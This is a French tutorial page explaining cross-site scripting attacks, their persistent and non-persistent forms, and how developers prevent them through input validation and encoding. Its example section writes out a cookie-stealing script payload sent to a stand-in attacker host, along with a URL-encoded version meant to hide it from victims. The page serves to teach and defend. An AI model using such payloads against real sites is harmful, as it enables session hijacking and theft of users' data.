Flux rss
Bookmark Ajouter aux favoris / Partager
Attacchi Cross-Site Scripting Ataques Cross-Site Scripting Angriffe Cross-Site Scripting Ataques de secuencia de comandos entre páginas Web (XSS) Cross-Site Scripting attacks

Injection de code malicieux

Les attaques de type Cross-Site Scripting (notée parfois XSS ou CSS) sont des attaques visant les sites web affichant dynamiquement du contenu utilisateur sans effectuer de contrôle et d'encodage des informations saisies par les utilisateurs. Les attaques Cross-Site Scripting consistent ainsi à forcer un site web à afficher du code HTML ou des scripts saisis par les utilisateurs. Le code ainsi inclus (le terme « injecté » est habituellement utilisé) dans un site web vulnérable est dit « malicieux ».

Il est courant que les sites affichent des messages d'information reprenant directement un paramètre entré par l'utilisateur. L'exemple le plus classique est celui des « pages d'erreur 404 ». Certains sites web modifient le comportement du site web, afin d'afficher un message d'erreur personnalisée lorsque la page demandée par le visiteur n'existe pas. Parfois la page générée dynamiquement affiche le nom de la page demandée. Appelons http://site.vulnerable un site possédant une telle faille. L'appel de l'URL http://site.vulnerable/page-inexistante correspondant à une page n'existant pas provoquera l'affichage d'un message d'erreur indiquant que la page « page-inexistante » n'existe pas. Il est ainsi possible de faire afficher ce que l'on souhaite au site web en remplaçant « page-inexistante » par toute autre chaîne de caractère.

Ainsi, si aucun contrôle n'est effectué sur le contenu fourni par l'utilisateur, il est possible d'afficher du code HTML arbitraire sur une page web, afin d'en changer l'aspect, le contenu ou bien le comportement.

De plus, la plupart des navigateurs sont dotés de la capacité d'interprêter des scripts contenus dans les pages web, écrits dans différents langages, tel que JavaScript, VBScript, Java, ActiveX ou Flash. Les balises HTML suivantes permettent ainsi d'incorporer des scripts exécutables dans une page web : <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.

Il est ainsi possible à un pirate d'injecter du code arbitraire dans la page web, afin que celui-ci soit exécuté sur le poste de l'utilisateur dans le contexte de sécurité du site vulnérable. Pour ce faire, il lui suffit de remplacer la valeur du texte destiné à être affiché par un script, afin que celui s'affiche dans la page web. Pour peu que le navigateur de l'utilisateur soit configuré pour exécuter de tels scripts, le code malicieux a accès à l'ensemble des données partagées par la page web de l'utilisateur et le serveur (cookies, champs de formulaires, etc.).

Conséquences

Grâce aux vulnérabilités Cross-Site Scripting, il est possible à un pirate de récupérer par ce biais les données échangées entre l'utilisateur et le site web concerné. Le code injecté dans la page web peut ainsi servir à afficher un formulaire afin de tromper l'utilisateur et lui faire saisir par exemple des informations d'authentification.

Par ailleurs, le script injecté peut permettre de rediriger l'utilisateur vers une page sous le contrôle du pirate, possédant éventuellement la même interface graphique que le site compromis afin de tromper l'usager.

Dans un tel contexte, la relation de confiance existant entre l'utilisateur et le site web est complètement compromise.

Persistance de l'attaque

Lorsque les données saisies par l'utilisateur sont stockées sur le serveur pendant un certain temps (cas d'un forum de discussion par exemple), l'attaque est dite « persistante ». En effet, tous les utilisateurs du site web accès à la page dans laquelle le code nuisible a été introduit.

Les attaques dites « non persistantes » concernent les pages web dynamiques dans lesquelles une variable entrée par l'utilisateur est affichée telle quelle (par exemple l'affichage du nom de l'utilisateur, de la page en cours ou du mot saisie dans un champ de formulaire). Pour pouvoir exploiter cette vulnérabilité, l'attaquant doit fournir à la victime une URL modifiée, passant le code à insérer en paramètre. Néanmoins, une URL contenant des éléments de code Javascript pourra paraître suspecte à la victime, c'est la raison pour laquelle cette attaque est la plupart réalisée en encodant les données dans l'URL, afin qu'elle masque le code injecté à l'utilisateur.

Exemple

Supposons que la page d'accueil de CommentCaMarche.net soit vulnérable à une attaque de type Cross-Site Scripting car elle permet d'afficher sur la page d'accueil un message de bienvenue affichant le nom de l'utilisateur passé en paramètre :

http://www.commentcamarche.net/?nom=Jeff

Une personne malintentionnée peut réaliser une attaque Cross-Site Scripting non persistance en fournissant à une victime une adresse remplaçant le nom « Jeff » par du code HTML. Il peut notamment passer en paramètre le code Javascript suivant, servant à rediriger l'utilisateur vers une page dont il a la maîtrise :

<SCRIPT>
document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>

Le code ci-dessus récupère les cookies de l'utilisateur et les transmet en paramètre à un script CGI. Un tel code passé en paramètre serait trop visible :

http://www.commentcamarche.net/?nom=<SCRIPT>document.location
='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>

En revanche, l'encodage de l'URL permet de masquer l'attaque :

http://www.commentcamarche.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65%
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%
53%43%52%49%50%54%3e

Attaque croisée

Dans l'exemple précédent, l'ensemble du script est passé en paramètre de l'URL. La méthode GET, permettant de passer des paramètres dans l'URL est limitée à une longueur totale de 255 caractères pour l'URL. Grâce à l'attribut SRC de la balise <SCRIPT>, il est possible d'exécuter du code malicieux stocké dans un script sur un serveur distant ! Dans la mesure où il est ainsi possible d'injecter du code à partir d'une source distante, ce type d'attaque porte le nom de « Cross-Site » (« Cross-Site » signifie littéralement « entre sites »).

Protection

Du côté de l'utilisateur, il est possible de se prémunir contre les attaques CSS en configurant le navigateur de manière à empêcher l'exécution des langages de scripts. Dans la réalité cette solution est souvent trop contraignante pour l'utilisateur car de nombreux sites refuseront de fonctionner correctement en l'absence de possibilité d'exécution de code dynamique.

La seule façon viable d'empêcher les attaques Cross-Site Scripting conssite à concevoir des sites web non vulnérables. Pour ce faire, le concepteur d'un site web doit :

  • Vérifier le format des données entrées par les utilisateurs ;
  • Encoder les données utilisateurs affichées en remplaçant les caractères spéciaux par leurs équivalents HTML.
Le terme « sanitarisation » (en anglais « sanitation ») désigne toutes les actions permettant de rendre sûr une donnée saisie par un utilisateur.

Plus d'information



Dernière modification le mardi 14 octobre 2008 à 17:40:32.Ce document intitulé « Attaques Cross-Site Scripting » issu de Comment Ça Marche (www.commentcamarche.net) est mis à disposition sous les termes de la licence Creative Commons. Vous pouvez copier, modifier des copies de cette page, dans les conditions fixées par la licence, tant que cette note apparaît clairement.
Script Lecteur mp3 pour site internet Bonjour, Voila je recherche un script lecteur mp3 pour site internet . Je m'y connais pas trop donc voila je voulais savoir si c'étais déja possible ...sachant que mon site n'est pas en php. donc en html .... voila J'ai biensur rechercher sur internet... www.commentcamarche.net/forum/affich-5696622-script-lecteur-mp3-pour-site-internet
Hacking de mon site (Résolu) Bonsoir, Hier vers 18h, des hackers ont attaqué mon site... J'ai uploadé la dernière sauvegarde de mon joomla CMS, tout refonctionnait mais ce soir : page blanche en guise de page d'accueil et rien à faire, j'ai beau uploadé cette même sauvegarde, je... www.commentcamarche.net/forum/affich-2220015-hacking-de-mon-site
Script de recherche sur un site (Résolu) Bonjour, j'ai un site perso je veux inserer un bouton de recherche et un cadre où on ecrit le mot à chercher afin de pouvoir chercher un ou +ieurs mots dans mon site. Comment je peux faire ca? Merci www.commentcamarche.net/forum/affich-6243381-script-de-recherche-sur-un-site
[Webmaster] Un formulaire de contact pour votre siteCe formulaire permet d'avoir une page pour être contacté sur son site, sans utiliser de logiciel de messagerie. La personne qui vous contacte indique son adresse, l'objet du message et son message (évidemment). Le code est une version... www.commentcamarche.net/faq/sujet-4516-webmaster-un-formulaire-de-contact-pour-votre-site
Il est possible de récupérer le code source PHP d'un siteMythe Un utilisateur peut récupérer le code source PHP d'un site web comme il peut récupérer le code HTML. Réalité FAUX Explications Les fichiers PHP (ASP, JSP, etc.) sont des fichiers interprétés côté serveur, ce qui signifie que le serveur web... www.commentcamarche.net/faq/sujet-5613-il-est-possible-de-recuperer-le-code-source-php-d-un-site
Superviser/Sécuriser son site webSuperviser/Sécuriser son site web Suite à la création de notre site web, hébergé par nos soins et soigné aux petits oignons, il est très intéressant de pouvoir, d'une part, connaître l'intensité des visites et les pages consultées, mais aussi... www.commentcamarche.net/faq/sujet-17123-superviser-securiser-son-site-web
[Flash] script pour siteBonjour, je suis débutante dans Flash et je réalise mon site. J'ai deux petites questions que je n'arrive pas à résoudre (même après avoir cherché sur différents sites et sur celui-ci aussi). - Comment fait-on pour être sûr que notre fenêtre s'ouve... www.commentcamarche.net/forum/affich-2741429-flash-script-pour-site
Recuperer le code d'une frame d'un autre siteBonjour, Dans le cadre du développement de mon site web, je cherche a créer un script php (ou javascript si impossible en php) qui me permet de récupérer le code source d'une frame présent sur un page web d'un autre site afin de récupérer un lien... www.commentcamarche.net/forum/affich-11852533-recuperer-le-code-d-une-frame-d-un-autre-site
Faillse XSS Cross Site ScriptingBonjour, j'ai telecharger un script open source, c'est un script de gestion de cabinet medecin, mais je viens de m'appercevoir que le script contient une faille xss que j'ai trouve sur ce site :... www.commentcamarche.net/forum/affich-9461850-faillse-xss-cross-site-scripting
Attaques par injection de commandes SQLInjection de commandes SQL Les attaques par injection de commandes SQL sont des attaques visant les sites web s'appuyant sur des bases de données relationnelles. Dans ce type de sites, des paramètres sont passés à la base de données sous forme... www.commentcamarche.net/contents/attaques/injection-commandes-sql.php3
Attaques par falsification de donnéesLa plupart des attaques d'applications web consistent à solliciter le site avec des données saisies manuellement afin de provoquer un contexte non prévu. Paramètres des applications web Le protocole HTTP, support de la communication sur le web,... www.commentcamarche.net/contents/attaques/falsification-donnees.php3